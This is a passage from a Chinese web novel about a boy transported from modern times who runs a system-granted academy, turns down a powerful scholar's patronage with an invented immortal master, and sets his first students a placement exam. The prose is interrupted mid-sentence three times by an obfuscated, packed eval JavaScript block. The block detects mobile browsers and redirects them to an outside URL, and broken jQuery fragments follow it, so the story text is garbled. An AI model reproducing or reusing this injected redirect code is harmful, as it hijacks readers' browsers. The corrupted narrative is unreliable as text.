童启站在寒风中,如竹一般挺直了腰杆,笑容客气。 “当然,在下姓童名启,无字,是这家书院目前的总负责人。” 童启? 一旁吴韧突然想起什么,瞬间亮起了眼睛。 “你便是今年的县案首?沧澜山童启?” 4. 第4章 “正是。” 童启欣然承认。 听到县案首的名头,大家这才稍稍冷静了一些,起码这证明童启不是在无的放矢,什么都不懂只是纯粹想羞辱他们。 可即便如此,大家却仍旧没一个敢就这么轻易的把所有未来全押在一个十岁孩童身上。 ——尤其是汪刘两家。 他们本身是不缺钱的,纵然受到王举人打压,可那也只是在伊川县不好找老师罢了,出了伊川,倒也不是完全不行,只是麻烦些。 况且,这个年代,老师可不是随随便便教点东西就行的,“一日为师终身为父”,拜师不只拜一个人而已,还包括了这人背后的势力、前景等等一系列的东西,属于一荣俱荣,一损俱损。 区区十岁的孩童,便想做他们几家的夫子,属实有点荒唐了些。 传出去,岂不是摆明了让整个县城的人笑话嘛! “不急,你们可以慢慢想,反正还要三日才能正常开学。”童启并没有逼迫的意思,他也知道自己这是在强人所难,可系统任务就是这样,他能怎么办? 这还只是第一批,五个名额,时间紧急,没得选,所以免试入学,等明年人多了,再想进书院,说不定还没这么容易呢! 几个学生和学生家长原本还以为童启会再废点口舌,尝试着说服他们,或者跟他们讲一下拜师之后有什么好处,可谁知看完学院后,对方直接大门一锁,便匆匆下了山,什么也没交代。 仿佛只是通知了一下信息罢了,爱来不来。 这让他们有点心里别扭起来。 一路沉默的回了家,汪家夫人远远见到丈夫和儿子归来,连忙上前追问,“如何?那书院是真的吗?位于山里是不是环境特别简陋?师资力量如何,你们可见到夫子、山长了?他们有说要收下咱们的孩子吗?” 汪启元复杂的和汪家家主对视一眼,不知该如何回答。 怎么说?好是好,环境也没得挑,可就是有点像是戏耍我们? 能这么说吗? 可人家县案首,即便戏耍也总比他们这些落榜的强吧?再加上那神乎其技一般的书院设施…… 唉,怎么偏偏是个十岁的孩童掌管书院呢? 不少人忧愁着陷入了纠结之中,唯独吴韧,不到半日的功夫,便直接整理好了所需的所有东西到童启家报道了。 别人犹豫,各有理由,他能理解,可唯独他自己,没有任何退路。 不去华夏书院,他就只能留在哥嫂家,比起每日天不亮就要开始干农活,日日夜夜遭受着冷嘲热讽与欺凌,只是拜一个十岁小孩为师而已,有什么可为难的? 就连孔子都说过,三人行必有我师焉,学无前后,达者为师。 而且他相信自己的判断,这童启虽年幼,却眼神清亮,说话富含逻辑智慧,并非普通的孩童可比,背后山长敢将这么大一所书院交给他,那人身上定有什么引以为傲的东西,不然怎么会站在他们面前神态自若,毫无畏惧? 只要能学习,跟谁学不是学?华夏书院敢收他,他就愿叩谢师恩。 吴韧坚定着心里的想法,加速向童家走去,一路问了几户人家才终于找到位置,可推开门,对方的母亲却说童启不在,去了县城里。 原来,自县试过后,沧澜山童启的名字便瞬间扬名伊川县,不少人家开始打听童启背后的师承。 得知他似乎并无师长,且自学成才后,便有不少人动了心。 谁都知道一个优秀的徒弟能够给师父带来多大的助力,况且还是这种一看就前途无量的寒门,稍微施一下恩,便能够轻易收获他们的忠心,谁说徒弟没有考上县案首,就不行的?反过来,县案首是他们徒弟,不也可以? 几乎垄断了整个伊川县教学的王举人,更是大手一挥,直接给童启下了贴,邀他上门拜访,美其名曰交流学问。 - 伊川县,拙政园。 王举人轻捻着胡须,翻看着手中的县案首试卷,微不可查的点了点头。 “虽然基础不牢,又出身糟糕,可胜在言语质朴,一手字写的倒也还算不错,有些风骨。” 座下学生闻此,连忙跪坐起身附和道。 “正是,听说其父乃是普通镖师,其母也是农家小户出身,并无支撑,虽有两个叔父经营着些铺子,略有钱财,但走动较少,对于童启那是一概不管的。若不是老师良善,谁会在意他?整个伊川县谁不想投身到您门下?想必这次收到请帖,对方一定会欣喜若狂,难以自持!” 王举人矜持的抬了抬手,制止住学生的拥捧,目光看向一旁始终沉默的徒弟,温叶辞。 “叶辞,你觉得呢,本师若是收童启为徒,你可会在意?” 这温叶辞便是被伊川县大多数人认为此次县试铁板钉钉的第一名,出身于著名的皇商温家,母亲乃名门世家之女,也是这一次王举人最看好的徒弟。 谁知横出了一个童启,竟然直接打破了他们的计划。 王举人惜才不假,可也不想因此寒了自家徒弟的心,得罪了温家,于是只得先试探对方的想法。 那温叶辞面色惨白,看起来病殃殃的,说话之间也隐隐有种阴郁之气,他坐在侧位上,淡漠的行了个礼,似乎毫不在意这些事情,可说出的话却无比恭敬,“自是不会,师父喜爱贤才,是我们的荣幸,若对方真的能为我们所用,将来高中,进入朝堂,也是一股助力。” 王举人这才满意的点点头,不再说话了。 似乎三言两语,几个人便轻易的决定了童启的未来走向,至于童启本人愿不愿意,那便不是他们会考虑的事情了。 毕竟一个举人看中了一个小小的童生,想要收他为徒,那不是一个很简单的事情吗?任谁不是感恩戴德? 他们想当然的等着童启上门,就连门口的小厮也是一脸高傲,接过童启帖子的时候,挑剔的目光如扫描仪一般上下打量着,似乎在评估对方够不够资格通报的模样。 良久,才说了句“等着”,然后转身进去了。 童启摸了摸鼻子,其实并不意外他的态度。 都说宰相门前七品官,他收到请帖本来是不打算来的,但想到今后还要在伊川县混,那还是遵守规矩,和当地的学阀打声招呼比较好。起码,了解一下同行的专业水平,将来打起来,也好作为参考。 通禀的人很快回来,低声带着他穿过几道拱门,转了几道弯,绕过一座假山石,这才终于进入了王举人宴客的地方。 在场的人十分多,似乎是在举办什么宴席,由上至下坐的满满当当,基本上穿的都是长衫,一副读书人模样。 王举人坐在首位上,被人拥捧着,心情极好的摆了摆手。 “我们的县案首来了?快,拿个坐到我旁边来。” 左右奴仆连忙抬上一张案几,并携着一个坐垫,放到了王举人的右手处。 童启盛情难却,只得坐下,一打听才知道,原来今日是王举人教徒的日子。 这……难道是我来的不巧了? 刚想着要不要换个日子再来拜访,旁边的一位学生骤然拉住了他的手。 那人醉醺醺, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792117|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一副恣意洒脱的模样,劝道,“诶,不妨事,反正早晚都是一家人,有什么可避讳的?” 嗯?一家人? 童启有点懵。 在场大多都是王举人的徒弟,看到师父这个态度早就猜出了对方的想法,也乐的成全,于是纷纷配合,一会儿提什么魏昭之徒的故事,一会儿又聊起圯上敬履的佳话。 魏昭,乃是东汉有名的神童,京城任官之后千里迢迢赶往南阳拜郭林宗为师,四次为其煮药却被对方刁难,仍不改谦卑,最后被收为徒弟,成为一代大儒。圯上敬履更是出自司马迁的张良拾履的故事,也是讲述的张良偶遇黄石老人,为其多次捡鞋,最终经过考验,获得《太公兵书》的故事。 他们觉得这已经暗示的非常明显了,只要读过几本书的肯定都知道是什么意思,可偏偏童启却像是装傻一般,没有任何搭腔。 实际上,童启还真不知道这几个人到底在讲什么。 他冷汗直冒,忐忑不已,生怕自己装出的“满腹学问”被人当场揭穿。 是,他的确对古文、历史感兴趣,也读过背过几本科举必考的书,可若论文化积累,怎么也不可能有真正的古代人读的书多! 若非系统强制性让他开书院、收徒,他自认还没有到能教导别人的程度,已经提前做好了一边教一边学,疯狂给自己补课提前做教案的计划了。因此对于这种面对面直接发送一个“超链接”,明显是什么典故的对话,即便大概猜出了意思,也怕理解的不对,不敢有任何作答。 其他人磨破了嘴皮子,见他始终不开口,也渐渐冷淡了下来。 酒过三巡,王举人终于还是忍不住,挑明了话。 “童案首如此年幼,可有师承,鄙人虽不算良师,但却有爱才之心,若收你为徒,你可愿意?” 童启这才知道原来对方打的是他的主意,见躲不了,没办法,他只得站起身,硬着头皮行了一礼,道。 “抱歉,其实我也很想拜您为师,但不巧的是,我已经有老师了。” 他有老师了? 怎么可能? 底下的人瞬间议论纷纷起来,就连一旁的温叶辞也忍不住抬眸看了他一眼。 王举人事先调查过,确定对方并无师承,登时冷了脸,还以为童启是故意推辞,不愿拜他,嗤笑道。 “童案首这话莫不是在诓骗我?不想拜师,尽可以明说,何必撒谎呢?” “对啊,你师承何人,姓甚名谁,整个伊川县谁不知道我们王举人?岂敢跟他抢徒弟?” 周围人纷纷附和,一副“你若说不出个一二三别想离开”的架势。 没办法,童启只得再次将沧澜山神秘大佬那一套说辞给搬了出来,为了增加真实性,甚至还往里面填了一点其他的故事。 “我的确有师承,唉,说来话长,我这师父其实来头不凡,乃是道家之人。当时我一个人在沧澜山捡柴火,路遇一个樵夫在唱歌……我听他唱的十分有趣,富含智慧,便问他这歌是谁教的,如何拜师,他没有说话,只在我脑袋上敲了三下,我便猜想那意思是否是让我半夜三更时分提着束脩再去拜访?后来,我趁着月色偷偷登上半山腰,果然见有一座学院,其内坐着一个白发苍苍、胡须及腰的老道士,对方自云来自西牛贺洲的灵台方寸山,斜月三星洞,只是偶然经过,见我诚心,便教我各种道理……” 听到这,周围的人早已经听呆了,整个愣在原地,连手中的杯盏酒水溢出,都毫无察觉。 周围的奴仆更是竖起耳朵,瞪大了眼,恨不得当场拿纸笔将这故事记下。 5. 第5章 这个时候,小说文学还并未产生。 大奉朝的文学发展,多以伦理讲实类居多,即便是茶馆说书人,肚子里也掏不出什么好东西,多是前朝发生的老事,哪里听过如此一波三折的故事? 因此,童启刚说了个开头,便把所有人都给吸引住了。 童启暗松一口气,按照86版《西游记》的剧情继续往下编。 “……之后的事,大家就都知道了,我一边跟随着师父学习,一边读书,直至一个月前,师父突然说该教给我的东西都已经教的差不多了,让我下山,自己去县试闯一闯,没想到竟意外拿了县案首,惊动了大家。前两日,我回到书院,本想将这个好消息告知给师父,可谁知他竟离开了,只留书说家中有事,让我别闯祸,好生待着,等过段时间再来看我,为了让我保持勤勉,勿骄矜自傲,甚至还给我布置了一个任务。” “什么任务?” 众人连忙追问道。 此时,正值儒释道三家在文人心中鼎盛的时期,再加上前朝信教,发生了不少神秘诡谲的传说,大多都跟道家之人有关,很多文人心向往之。 童启装模作样的叹了口气,将收徒的事假借着幕后大佬之名半真半假的说了出来,在场的人虽意外,却也没有太大的惊讶。 毕竟这个年代,人人都讲究传承,即便是学徒,也有给师父帮工十年的规矩。 只是让教几个徒弟,弘扬本派名声罢了,也属正常。 令他们感到惋惜的是,竟有如此厉害的人物路过伊川,而他们却都没有听到风声,上门拜访,实在遗憾。 于是纷纷叮嘱了童启,什么时候他师父再云游归来时,定要通知一下他们,好专程造访请教。 童启皆一一笑着应了。 唯有温叶辞注意到了他话语中的另一个问题,忍不住开口问道,“所以,你是要在伊川开私塾?那今年的府试呢,还参加吗?” 县试二月考完,紧接着就是四月的府试。 虽然以童启县案首的成绩,不用参加府试,那也是铁板钉钉的童生,可若借着这股气势,一举拿下小三元,那将是整个伊川县的荣耀! 换做其他人,肯定是会接着挑战下去的。 可童启却不这么打算。 原本他考县试,那是系统还没来的时候,他一心想趁着年幼速通科举,至少先拿到秀才,免赋税劳役。 至于考多少名,那都无所谓。 可现在,他的目的是为了收徒、经营学院! 那就不能再随随便便暴露实力了,得装着、端着,起码不能让其他的学生们知道他肚子里现在其实没多少墨水的事情。 若没有百分百的把握,决不能下场,自毁根基。 于是,他笑了笑,客气的回答道,“师命难为,府试之后还能再考,可师父的任务,却不可推迟一日。” 这貌似死板的回答,让在座的人纷纷惊讶起来。 尤其温叶辞,更是难以置信。 竟然会有人为了师父的命令,不顾自己的前途? 这是什么大傻子啊? 王举人内心一喜,他原本还以为这小子背靠神秘大佬,聪慧过人,处理起来会有些棘手,可没想到竟是个愚蠢较真的,为了师父的几句话,竟轻易放弃了府试? 顿觉开心。 “哦?那看来童案首对这私塾,是非开不可了?” 童启谦虚的摆摆手,“嗨,我只是随便开开,完成师父的任务罢了,也没打算开成什么样,毕竟大家也见到了,我今年才十岁,即便是误打误撞考得了县案首,那也还有很多需要学的,怎么能比得上诸位前辈们呢?” 原本听到童启年少成名,又有师缘,大家心中早已嫉妒不已。 可如今见他姿态放的如此低,又自发退出了府试,不觉顺眼了一些。 当然,他们都不觉得童启能教出个什么来,可想到对方背后的神秘老师,也乐的维持些关系。 于是,一时间,互相称兄道弟,气氛倒也和谐了起来。 美美吃完一顿饭,成功收获了当地学阀势力的青烟与不屑,童启无比满意。 走到门口,却突然被温叶辞再次叫住。 “童案首,我觉得府试的事情,你还是再考虑考虑比较好。” 斑竹林旁,身着青衫广袖的翩翩公子踩着碎叶,缓缓走出,坦言相劝道,偶尔咳嗽两声,颊旁泛起点点红晕。 童启知晓这人就是上次人群中呼声最高的温叶辞,内心领情。 但很遗憾,他俩注定不是同一条道路。 他客客气气的行了一礼,语气坚定,“抱歉,我要完成师父的任务。” 温叶辞惋惜的长叹一口气,摇摇头甩袖离开。 可能在对方眼中,这个年纪,正是为了科举奋斗的时候,童启却把这大好时光浪费在了普通平民身上,实在可笑至极。 但童启却不这么觉得。 他前世本就是一个辅导班老师,人生大半都是和学生们一起度过的,那些美好的时光刻骨铭心,即便换了个世界,凭空得到一家学院,能让他看着这些孩子一点点成长为参天大树,也未尝不是一件幸运的事。 他喜欢教书,更喜欢单纯的学生们。 能拉着他们的手一点点认知、接触这个社会,他觉得十分荣幸。 而其内所获得的成就感,也未必比三元及第,少多少。 一场赴宴结束,童启并没有放在心上,回去之后,便开始刻苦读书准备起教案来,可他不知道的是,王举人在伊川县的地位,堪比一线流量明星,这里宴席刚一结束,几人在宴席上的对话便瞬间传遍了整个县城。 童启拜师的故事自然也顺带着流传了出去。 大家听得那叫一个津津有味,如痴如醉,只恨不得让王家的小厮再多讲几遍。 “听说了吗?那沧澜山童启拜了一个得道高人,所以才拿到的县案首!” “不是不是,听说他拜的其实是神仙,那神仙还出题考他呢!” “你们都弄错了,明明是一个白胡子老头梦中传道,让他收徒弟攒功德呢!” “什么呀,你们没听说书先生说吗?人家那是仙童转世,文曲星下凡,收徒只是顺带的,实则为了拯救天下苍生!” …… 故事越传越离谱,等汪刘两家听闻此事,版本已经衍生出了十几个。 汪启元和汪家家主汪平川沉默的坐在客厅内,沉吟着听到的消息,久久无法平静。 “我觉得,这华夏书院,可上。” 汪启元说道。 旁边的汪家家主瞬间站了起来,焦急的踱步道。 “不是,你也信那神神鬼鬼之说?儿啊,什么文曲星转世,都只是瞎传罢了。即便他背后有厉害的师承,和咱们又有什么关系?我们拜的,可是那沧澜山童启!不是他背后的老师!又不是真的到山穷水尽,找不到好老师那一步,何必如此?” 汪启元耐着性子,细细的跟父亲分析道。 “父亲,你觉得读书读的是什么?难不成真的只是那辞赋文章吗?我至今县试已经考了三次,均未考中,您想过没有,若是最后科举一途,我们实在是走不通怎么办?我有直觉,童启这人背后隐藏的,远比我们想象的更多。若真的像他讲的那样,华夏书院背后的山长如此厉害,只怕这书院教授的也不会是普通的科举文章,定还有更多我们无法接触的事情。您忘了那雷电之力照明的事情了?若我们也能学会……” 汪家家主瞬间一惊,如同被人在耳边敲了一钟般,恍然大悟。 是,科举之途谁都想走,可古往今来真正走通的,又有几个?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792118|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他们乃商家之后,本就不易,若真没有做官的命,能学到其他东西,好歹也是条退路! 汪平川思考了一会儿,最终还是决定顺从儿子的想法,前往华夏书院拜师。 而其他的学生,有的和汪启元想法一样,有的却始终落不下面子,终究还是放弃了。 三日后,八位学生里,报道的人只来了五个,和系统估量好的名额一致。 【叮,新手任务已完成】 【叮,您的声望已达到323经验值,奖励抽奖券三张,请继续努力】 【叮,桃李满天下系统升级至level.2】 【叮,初试牛刀成就达成,奖励抽奖券一张,请继续努力】 脑海中一连串的通知,令童启心情飞扬起来。 “好,今日就是我们的第一天了,开学典礼什么的,过几日再举办,登记一下你们的信息,然后我们先来一场摸底考试。” 童启将手里早就准备好的卷子挥了挥,一张张发下去。 刘卜温、汪启元、吴韧三个人坐在第一排的位置上,身后,则是那个看起来性格暴躁的常仕进,以及他的表兄,杨舟万。 童启不想浪费时间,他的目的是要将这些孩子们教导好,快速扬名伊川县。 而扬名靠的是什么? 自然就是科举了。 也就是说时间紧任务重,这几个明年就要参加第二轮的县试,而且要在县试上一举夺魁才行。 那么,还有什么是能够快速知道大家短板的呢? 考试! 几个学生茫然接过手里的长卷,看到上面不同于以往任何一次考试的题目类型,心中疑惑不已。 但师命如此,没办法,只得低头开始解题。 别说,做了几道所谓的填空、选择之后,他们还真发现了一些不同,这种方式,确实能够以最快的速度测出他们不熟悉的薄弱之处诶! 一时间,几人大为惊奇。 眼见着教室里彻底安静下来,只剩下写字的声音,童启放轻了脚步,悄然走了出去,站在角落里,连忙打开了系统提示的页面。 果然见到书院的地图右边,多出了一个大大的抽奖功能,看起来是新添加的。 点开,里面写着各种奖品,有免费解锁建筑的兑换券,还有实际的银子、铜板之类,当然,更多的还是一些常见的横线笔记本、圆珠笔、垃圾袋、卫生纸、保温杯等学校里通常奖赏优秀学生的小物件。 可单抽,也可十连抽。 童启搓了搓手心,忍不住内心祈求了一番。 藏书阁,藏书阁,我想要藏书阁!千万保佑,一定要让我抽到藏书阁啊! 他按下了抽奖按钮,一阵哗啦啦指针转动过后,缓缓停在了横线笔记本x10上面。 再抽一次——校服x10。 再抽一次——保温杯一个。 童启:…… 他就说,以他这一贯的非酋运气,这种抽奖功能设计出来,那就是在故意针对他。 不过好在聊胜于无,这些东西总归也都能用得到,起码在这个时代,都算是远超实际价值以上。 他拿起系统给他的奖品,横线笔记本就是现代那种最常见的笔记本,校服则是古色古香的长衫,天青色做底,上面印着一层淡淡的灰色竹影,整套里还配有黑色长靴与白袜,以及束发的带子,胸口处锈着“华夏书院”几个小字,附带着一本书籍的标志。 不用想,就知道那些学生穿上会有多么惊艳。 眼见着还剩最后一次抽奖机会,童启犹豫了一下,终究还是鼓起勇气,再次点了下去,指针摇摇晃晃,由疾至缓,最后停在了解锁建筑兑换券上面。 童启:!!! yes! 他瞬间兴奋的蹦了起来。 6. 第6章 抽到了! 没想到我这运气竟然还有单抽出奇迹的一天! 童启兴奋的几乎立刻便想要将兑换券用在最贵的藏书阁上,可却被系统急忙拦了下来。 系统:“宿主!你确定真的要在这个时间段,兑换藏书阁吗?” 童启:??? 系统:“按照系统目前所收集到的关于这个朝代的信息,藏书丰富的确是一件好事,但与人发生矛盾的可能性会大大增加哦。” 如一盆水,瞬间浇的透心凉。 童启冷静下来,这才想起自己身处的时代。 不同于现代想知道什么互联网上一搜,能瞬间蹦出十几个词条来,详尽解释的局面。很多知识内容,如今尚处于被豪门贵族垄断的情况。藏书的价值远比普通金银器皿还要值钱! 寻常人家有几十卷就可称得上是书香门第了,就连朝廷馆阁,如今也不过只有八万多册藏书,而他,直接在这里开一个三层高的图书馆? 疯了吧? 无异于在一片鱼塘中扔下一颗核弹,生怕引不起有心之人觊觎是吧? 想起有可能造成的一系列轰动后果,童启默默关上了藏书阁的解锁页面。 怪不得这栋楼价值最贵。 合着是按照当地的供需情况估量的啊。 看来短时间之内这些东西是不能动了,可若是没有这些资料,他又怎么教授学生们呢? 他本人也很需要查阅一些专业书籍,来补充教案啊! 仿佛感受到了童启的无助,贴心系统再次上线。 【叮——检测到宿主教学需要,现开放线上文献数据库,其内包含大奉朝前后所有的专业古籍资料,可供查阅搜索,只需要1000声望值即可,是否开启?】 “开开开!” 你早说有这种好东西啊!有“线上数据库”,他还需要什么藏书阁! 直接自己学会之后,教给学生不就可以了嘛! 系统:“抱歉,目前声望值不足,请宿主积极完成任务,等待开启。” 童启:…… :) 哦,好吧,他忘记自己的声望值如今只有323点了…… 看来只能攒一攒再开了。 童启遗憾两秒,目光继续投射在建筑解锁的页面上,他在食堂和宿舍楼上犹豫了一会儿,最终还是率先选择了宿舍楼。 毕竟吃的可以请厨娘先帮忙,就六个人,饭食很好解决,但住宿就比较难了。 随着一阵白雾缓缓散去,教学楼对面隔着大半个足球场的位置,缓缓露出了一栋笔直的建筑,照样是灰瓦白墙,看起来应该就是地图上新标注出来的学生宿舍楼。 童启低头看了一眼时间,距离学生们完成试卷估摸着还有一会儿,于是干脆掩上门,亲自去实地瞅了瞅。 那宿舍楼一共有三层高,建设的不似教学楼那般辉煌大气、古色古香,可能是由于住宿的缘故,整体更偏向于现代的公寓设计。推开正中央厚重的玻璃门,刨去宿管老师的房间,一层楼大概有十几间,每个房间可以住下两个人,上床下桌,皆是木质结构,配有洗漱台和卫生间,看起来和普通的大学宿舍没什么不同。 童启简单的逛了一圈之后,便迅速决定了要搬过来和学生一起住的想法。 无他,这里竟然有自来水和暖气欸!! 可比他现在住的漏风房子好太多了! 反正目前只有五名学生,多的是空房间,大不了中间竖个隔板挡起来,左边住学生,右边则可以提供给童母、弟弟妹妹和其他工作人员。 方便又省钱。 童启满意的点点头,搞完这一切,转身回到教学楼。 孩子们已经答得差不多了,不需等待,他当场就批改了五个人的卷子,然后站在讲台上一拍黑板,威严立显。 “今日,是我们开课的第一天,你们可能会觉得,时间还很充裕,但是恕我直言,留给你们的时间,已经不多了。” 童启拿起一支粉笔,直接在黑板上写下几个大字——距离县试还剩下408天。 一瞬间,扯紧了整个教室里学生们的紧张感! 刘卜温近乎头皮发麻的看着站在最前方的那个人,情不自禁握紧了拳。 如同战争即将被打响一般。 所有人都觉得,距离县试结束没几日,下一场应该还有很远时间。可被童启一写出来,不知为何,却有种迫在眉睫之感。 似箭锋破风而来,直冲所有人的眉心。 令他们连原本好奇‘这块黑漆漆的板子到底是用来做什么’的想法,都直接抛在了脑后。 只剩下滴滴答答倒数的声音。 童启痛心疾首的站在讲台上,大声讲道。 “你们瞅瞅你们写的试卷,我想过你们的基础会很差,但万万没想到,竟然会差到如此地步,整个班,五个人,竟然没有一个能够达到及格线以上分数的!震惊、荒唐、难以想象!你们晚上,是怎么睡得着的啊?失败,谁都有过,可屡战屡败,却不懂得总结失败的规律,寻找原因,任由它糊涂下去,这便是你们的愚蠢了。” “下面,我念到的名字,上来拿你的试卷。” 被童启劈头盖脸骂了一通,学生们尚来不及反驳,接过手中的试卷,当看到分数时,又纷纷熄了火。 露出一副惭愧心虚的表情来。 分数最高的,是吴韧,只有五十七分,最差的,则是刘卜温,才二十三分。 二十三分,放到现代,光是选择题瞎猜,也不至于会如此低! 原本还想着他们好歹县试副榜,底子不错,补起课来很容易,结果呢,这不错个啥啊!怪不得他随随便便,临时抱佛脚一个月,就能考中县案首呢! 若伊川都是这个水平,那也没必要往上考了! 童启隐隐有些失望,决定彻底实行高压政策。 但他不知道的是,其实这是学生们第一次遇到这样的考题,不熟悉是很正常的,况且县试刚结束,他们正沉溺于失败之中还未缓过来。 但童启不管,他敲了敲讲台。 “从今日起,我们要正式开始县试的准备工作。目标,是下一次县试的前五名。” 不等众学生反驳,童启打开教室内的白炽灯,俯视着所有人。 高大的阴影投射在墙壁上,威压十足。 “别急着说做不到,你们可以先看看周围的环境待遇,再回复。整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792119|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊川,我敢说没有第二家私塾,能有你们的待遇好。多少人冻得瑟瑟发抖,点着蜡烛照明,都无法看清书上的字,而你们坐在教室里,风吹不到,雨溅不到,二十四小时不必发愁任何琐事,就这样,连个县试还考不中,那你们现在就可以掩面离开了,简直是浪费家里人给你们掏的学费。” 他将卷子上的分数一一陈列在黑板上,不容置疑的宣布了后续的安排。 “从明日开始,我们实行半封闭式授课。给你们半天的时间回去收拾东西,之后的每个月,除了初十、二十、二十九或者三十你们可以回家探望父母,其他的,必须留在学校里,一同吃住。学校内会配有食堂和厨娘,负责你们的一日三餐,至于住宿,你们将统一住在学院南边刚收拾出来的学生宿舍里,汪启元、吴韧住在101,刘卜温、常仕进住102,杨舟万你暂时一个人住,每三日,会有宿管老师进行卫生检查,不合格的扣分。不允许带小厮,不允许带太多的个人物品,自己的事情自己做,别想着假手于人。” “衣服什么的,也不用带,只需拿换洗的内衣即可,学校里分发有校服,只要入校,必须穿戴整齐。三日后是三月一日,正式举办开学典礼,可以允许学生家长观礼,其余时间,不允许学生家长探望,送东西。” “以后学校每月一考,大家最好做好经常考试的准备,因为每次都会张榜公示。前三名,有奖励,持续吊车尾超过八次,不仅需要单独补考,还要请家长,一同聊聊你的教育问题。” “都听明白了吗?好,今日就先这样,下课。吴韧,你单独跟我来一趟。” 童启说完,直接将校服和宿舍楼的钥匙分发给众人,然后转身离开了。 丝毫没有想过他的这一番话以及分发下来的东西,会给学生群体里带来多大的风浪与震惊。 - 左拐右拐,童启带着人一起来到后院,找到了那块大概两亩左右的试验田,指着说道。 “以后你的学费和住宿费,就用这块耕地里的所有收成作为顶替。如果哪一年多出平均线,便属于你个人所有,少于平均线,则用奖学金和各种补贴作为补足,如何?” 吴韧眼睛一亮,有些难以置信,紧接着便是眼眶一热。 目前华夏书院入学的这几名学生,家庭条件其实都不算太差,毕竟能在这个年代读的起书的,还是少数。 唯有吴韧情况比较特殊,童启提出可以用勤工俭学的方式。 他还以为会像是兄嫂一般,做各种杂事,没想到,竟然会是种地! 这个时代,大多数寒门士子都有下地的规矩,对于农活来说,并不算陌生,耕读结合,本就算风雅之事,即便将来入朝为官,也落不了任何话柄。 这哪里是勤工俭学啊?简直就是做慈善啊。 吴韧看着眼前的田地,感动的说不出话来,转头哐当一声,直接给童启跪了下来! 童启:!!! “山长的大恩大德,韧这辈子都不会忘记。将来万死,必报答您今日的体贴与温情!” 童启:……? 什么温情? 他挠了挠头,看着如此大的一块闲散农田,默默的收回了“不行还可以再商量”的话。 7. 第7章 这些天,童母过得很迷惑。 丈夫出去走镖,大半年渺无音讯,本就够忧愁的了,大儿子又因为意外落水,差点丧了命,让她几度崩溃。 好不容易刚恢复了点儿,眼瞅着启儿可以出门了,她刚松了几口气,可谁知兄嫂却从县城里跑来,硬说什么她儿子被神仙收为了徒弟,考上了县案首之类的? 简直荒唐! 县案首哪里是那样好考的? 虽然启儿之前的确说过,他在沧澜山被一个神秘高人教导的事,可那才多久,怎么可能就突然考上县案首了呢? 青天白日,便是做梦也没有这样梦的。 可不止兄嫂,就连街坊邻居也这么说,还说的有鼻子有眼的,这一下,让她有些摸不着头脑起来。 难不成……确有其事? “你瞅瞅你这母亲当的,怎么连这都不清楚,哎呦喂,从小我就看这启儿出身不凡,果不其然!要我说,你们家这也是熬出来了,祖坟冒青烟,竟还有这样的造化!听说那高人连书院都给启儿建好了,富丽堂皇,跟仙宫似的呢!你可别忘了多跟你儿子提提我们这些亲戚才是,这都是提起萝卜带起泥的关系,何必跑那么远去收什么徒弟,他云宝、富宝两位表弟不也在家闲着吗,一起带过去给那什么高人看看,同一个师门,也好帮着说说话不是?” 二嫂子笑的讨好,拉着童母的袖子亲热的活像是一个人似得,二哥却板着脸袖着手,站在一旁不做声。 一副理直气壮的模样。 童母冷淡的将自己的手抽出。 她爹妈死的早,大哥憨厚老实,一向不管事,二哥倒是精明狠心,偷了家里的钱在镇上置了业,娶了老婆媳妇,日子过得风声水起。启儿刚落水时,她为了买药,急着借钱,求上门去,可他家非但不借,还说了不少难听的话。 什么“这就是咱们穷人的命”、“治不好了,反正是累赘趁早放弃”之类的,到现在,她还怒气未消呢。 如今看启儿好了,反倒想起来沾光了? 呸,别以为她不知道那几个孩子,什么云宝、富宝,名字起的倒是好,可从小到大,性子都被惯得上天了,哪里是个读书的命?还想让他儿子帮忙引荐?想的倒美! “八字还没有一撇的事,许是谣传也不一定,等他回来,我自会问问情况,就不劳嫂子操心了。”童母客气而疏离的笑着。 二嫂子不屑的撇撇嘴,见问不出话来,干脆蹲在院子里,等童启回来。 不止她,左邻右舍听说此事的人也都好奇到底是不是真的。 沧澜村村长童家岙伸长了脖子等在王婶家门口,心里上上下下,忐忑又激动。 作为村长,沧澜山被人买下的事,他早就听说了,可对方具体买来做什么用,却始终不知。 县里刚传来消息,说是建了一座书院的时候,他还堂皇畏惧,生怕村民们哪天不慎扰了贵人的兴致,闯了祸。 可紧接着便听到买下的人是自己村里的童启!他考上了县案首,要经营书院收徒弟!顿时激动的不知该如何是好。 他们这地界,穷乡僻壤,一向连个马车都少有踏足,就只有一座山,平日里够砍砍柴用,没有任何助力。 哪能想到,还能出个童生,沾沾文气? 